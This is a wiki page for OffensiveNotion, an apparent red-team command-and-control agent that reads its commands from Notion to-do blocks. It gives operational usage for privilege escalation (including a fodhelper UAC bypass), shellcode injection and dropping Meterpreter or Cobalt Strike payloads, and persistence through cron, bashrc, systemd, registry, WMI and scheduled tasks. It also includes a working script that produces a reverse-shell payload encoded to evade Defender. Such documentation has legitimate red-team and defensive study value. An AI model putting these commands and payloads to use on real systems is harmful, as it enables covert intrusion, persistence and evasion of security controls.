-
Notifications
You must be signed in to change notification settings - Fork 1
6. Agent Interaction
Once an agent has checked in to your listener page and you have a session on the target, how do you interact with it?
All agent commands are interpreted and executed by using this syntax on the agent session page:
The todo
item has no 🎯 icon, so will not yet be executed by the agent.
That means that from the agent's page, make a To-Do block (use the keyboard shortcut /todo
and select from the list), then enter your command, then add the 🎯 emoji at the end. The agent identifies a to-do block with a target emoji in it as a command to execute on the host.
🟢 Tip
Create a To-Do block by tapping the left and right square brackets quickly.
Once a command is executed, the to-do block is checked and the output is added to the page in a code block:
If you want to rerun the same command, uncheck the box and it will run at the next check-in!
🟠 Note
The agent only interprets a to-do block as a command if it is in the outer-most section of the page. So if your command is not running, try hitting escape until the to-do block is sitting furthest to the left on the page. If you put a to-do block as a child of another block on the page, the agent will not interpret it:
The indendation denotes the second command is actually a child of the first, and won't be executed.
There we go.
These are all of the available commands for the agent, what they do, their usage, and some examples.
Usage: cd [dir]
Description: Changes directory without invoking the shell. Relative paths are accepted.
Usage: download [url] [[path]]
Description: Downloads file from a url. If [path]
is provided, that is where the file will be written, if it can be. If [path]
is not provided, the final component of the URI will be used as the filename.
Don't forget to remove the auto-generated link from the URL, or OffensiveNotion won't be able to parse it.
Hey look! There it is.
Usage: elevate [method] [[params]]
Description: Attempt to elevate permissions using the designated method
. Available methods depend on platform.
-
sudo
: usessudo
and spawns a new agent in the root context if the current user is capable. Requires the user's password passed in as the first argument. - Example:
elevate sudo SudoPassword123! 🎯
-
fodhelper
: usesfodhelper.exe
to perform a UAC bypass. Can elevate an administrator user to the admin context. With thanks to Joe Helle, see his writeup here for more info. - Example:
elevate fodhelper 🎯
🔴OPSEC Warning!
Executing the fodhelper UAC bypass triggers a Windows Defender alert. The elevation still occurs. Be aware that the alert will fire every time you do this.
Usage: getprivs
Description: Checks if the user is in an administrator context or not.
getprivs 🎯
Used to inject shellcode.
Windows: inject [method] [url] [b64_iterations] [[pid]]
Linux: inject [method] [url] [filename] [[b64_iterations]]
On Windows, there are two methods of injecting shellcode:
-
inject remote
: uses aCreateRemoteThread
pattern of API calls to inject into a remote process. -
inject self
: injects shellcode into the agent's own process using theCreateThread
pattern of API calls.
On Linux, the current inject
method is just a utility to drop payloads like Meterpreter or Cobalt Strike implants and run them directly from the agent.
inject
expects a file of comma-separated hex values, encoded in base64 [b64_iterations]
number of times. This technique allows the shellcode to bypass Defender detections (for the download, anyway) quite effectively.
Here's a handy script for helping to develop payloads based on msfvenom
:
#!/bin/bash
PAYLOAD=windows/x64/meterpreter_reverse_tcp
LHOST=192.168.1.10
LPORT=4444
B64_ITERATIONS=5
MSFV_OUT=$(msfvenom -p $PAYLOAD -f csharp LHOST=$LHOST LPORT=$LPORT EXITFUNC=thread | sed "s/[^0xa-z0-9,]//g" | tail -n+2 )
for i in $(seq $B64_ITERATIONS); do
MSFV_OUT=$(echo $MSFV_OUT | base64 -w 0 | sed "s/ //g")
done
echo $MSFV_OUT
With this file save (referred to here as on_shellcode.sh
), we can simply run it with our desired params placed in for the variables.
./on_shellcode.sh > note.txt
The payload can then be hosted anywhere you like, including on a Notion page!
Want to do the same thing but with Cobalt Strike shellcode? It's even easier.
Create the C# shellcode payload for your Cobalt Strike beacon and save it to the desktop. Then, run this:
┌──(kali㉿kali)-[~/Desktop]
└─$ cat payload.cs| cut -d "{" -f2 | cut -d "}" -f1 | tail -n+2 | base64 | base64 | [... any number of times...] > note.txt
Using the steps listed above, I've created a file, note.txt
, which is a Meterpreter shellcode represented as 0x
hexcodes, separated by commas, and base64 encoded three times. I'll begin by hosting this file on my attack server on port 9999
.
At the same time, I configure Metasploit to await my callback on the LPORT
I configured when making the payload with msfvenom
.
And run the listener.
To inject, we need something to inject into. Let's get a process using ps
.
Looks like Notion is actually running. Great, let's use that.
Don't forget to remove that hyperlink!
Aaand jackpot.
🔴 OPSEC Warning!
It appears Defender is getting better at catching CreateRemoteThread attacks, so use with caution!
The self-injector does not require a PID for an argument. Follow similar steps for the remote injector noted above, but execute the shellcode with:
inject self [url] [b64_iterations] 🎯
🔴 Safety Warning!
There is a known issue where the self-injector will kill the agent in the event that the shellcode is launched but there is no listener to catch the shell. For example, if you execute the injection but forget to hit run on your MSF multi/handler, or overwrite your shellcode so there are no bytes in there by accident, this action may kill the agent! Otherwise, this method is stable. Be careful when executing this!
inject dropper [url] [filename] [b64_iterations] 🎯
Usage: persist [method] [[params]]
Description: Gain persistence via a number of different method
s. Available techniques vary depending on platform.
Options:
-
Linux:
-
cron
: Adds an entry to the user's crontab. -
bashrc
: Echos the path to the agent and base64 config into the user's.bashrc
file. -
service
: Creates asystemd
service.
-
-
Windows:
-
startup
: Adds the agent into the user's startup folder. -
registry
: Adds the path to the agent to the user'sHKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run
key. -
wmic
: Writes a WMI Event Subscription to start the agent when a user logs on. Requires administrator privileges. The subscription is created via PowerShell commands. -
schtasks
: Creates a scheduled task to launch the agent at logon. Launches the agent at the NT AUTHORITY\SYSTEM level. Requires administrator privileges.
-
-
macOS:
-
loginitem
: persists via a macOS login item. -
launchagent
: persists by creating a launch agent.
-
Persisting via bash
persist bashrc 🎯
OffensiveNotion copies itself to a new hidden folder in the user's root. It then appends a line to the user's .bashrc
to launch itself when a new shell is opened for the user.
Persisting via crontab:
persist cron 🎯
And what's up in the user's crontab
?
The agent will make a new hidden folder in the user's home directory, copy itself there, and install a new cronjob to run at the top of the hour. Later versions will likely allow this timing to be modified.
Persisting via service
🟠 Note
This only works as root! See the elevate command to learn how to get there.
Creates a systemd service that will run the agent on system startup. Tied to a folder in the root home.
We start by elevating our privs:
And in the new agent:
Time to persist!
So what's up with that service?
OffensiveNotion copies itself to a hidden folder in the root
home dir. It then uses that and a base64-encoded config in a service file.
Persisting via startup
persist startup 🎯
Writes the agent to the the user's Startup Programs folder.
Persisting via wmic:
persist wmic 🎯
Requires elevated shell. See elevate for more.
Copies the agent to %LOCALAPPDTA%
and creates event subscriptions which will launch the agent on system startup.
Persisting via registry:
persist registry 🎯
Copies the agent to %LOCALAPPDTA%
and adds the agent as a value in HKCU\Software\Microsoft\Windows\CurrentVersion\Run
.
Looks pretty innocuous, right?
Persisting via Scheduled Tasks:
persist schtasks 🎯
Requires elevated shell. See elevate for more.
Copies the agent to %LOCALAPPDTA%
and creates a new scheduled task to run at user logon.
Usage: portscan [IP/CIDR] [allport (true/false)] [concurrency] [timeout]
🔴 Warning
This is a Rust portscanner. It can be extremely intense on networking equipment. Modify the concurrency and timeout arguments to avoid breaking network stacks.
Description: Initiates a rapid TCP portscan for a single target IP, or a CIDR-notated subnet.
- Scan common ports on a
/24
subnet:portscan 192.168.1.0/24 false 10 0
- Scan all ports on a single target, slowing down the scanner:
portscan 192.168.1.12 true 10 5
Here we're scanning a local network for common ports.
Usage: ps
Description: Lists processes. Returns the PID and process name of each discovered process. This command does not use the shell. Note however that this command produces large outputs, and Notion limits each block to 2000 characters, and blocks to having 100 maximum children. You may want to delete or save this info elsewhere after it's produced to keep the page clean.
Usage: pwd
Description: Prints working directory. Does not use the shell to do so.
Does what it says on the tin.
Usage: save [path]
Description: Saves the running config to a file at [path]
. Useful for persisting with a modified config, or for testing purposes. The resulting config file is JSON and readable in plaintext, so beware!
Usage: selfdestruct
Description: This agent will now self destruct. Deletes the agent from the disk and ends the running process. Does some houdini magic on the back end in Windows to avoid file lock. On Linux, just deletes itself.
Usage: shell [command]
Description: Executes the given shell command. Output or error will be returned. On Linux, executes the command by calling /bin/bash
. On Windows, executes the command by calling cmd.exe
Usage: shutdown
Description: Shuts down the agent. Stops the agent process on the host. No further commands can be issued to the agent.
Prints some basic information about the host
Usage: sysinfo
Usage: config [config_option] [new_value] 🎯
Description: Modifies the running config. Available config options are:
-
parent_page [page_id]
: Change the Notion page for communication. WARNING: THIS WILL BREAK THE AGENT UNLESS THE NEW PAGE IS VALID. -
sleep [seconds]
: Change the sleep value in seconds between polls for new commands -
jitter [seconds]
Change the jitter range in seconds. -
launch_app [true|false]
: Change the running config to attempt to launch a fake Notion app—or not. This will only apply in persistence methods after change. -
log_level [0-5]
: Change the logging level of the agent. WARNING: May result in conspicuous outputs on Linux`. -
config_file_path [path]
: Change where the agent will look for a config file upon startup. -
env_checks [json]
: Change the environment checks (guardrails). Please see the Guardrails section for more details on syntax as you'll have to provide raw JSON in a specific shape to make new guardrails.
whoami 🎯
Returns the username. That's it!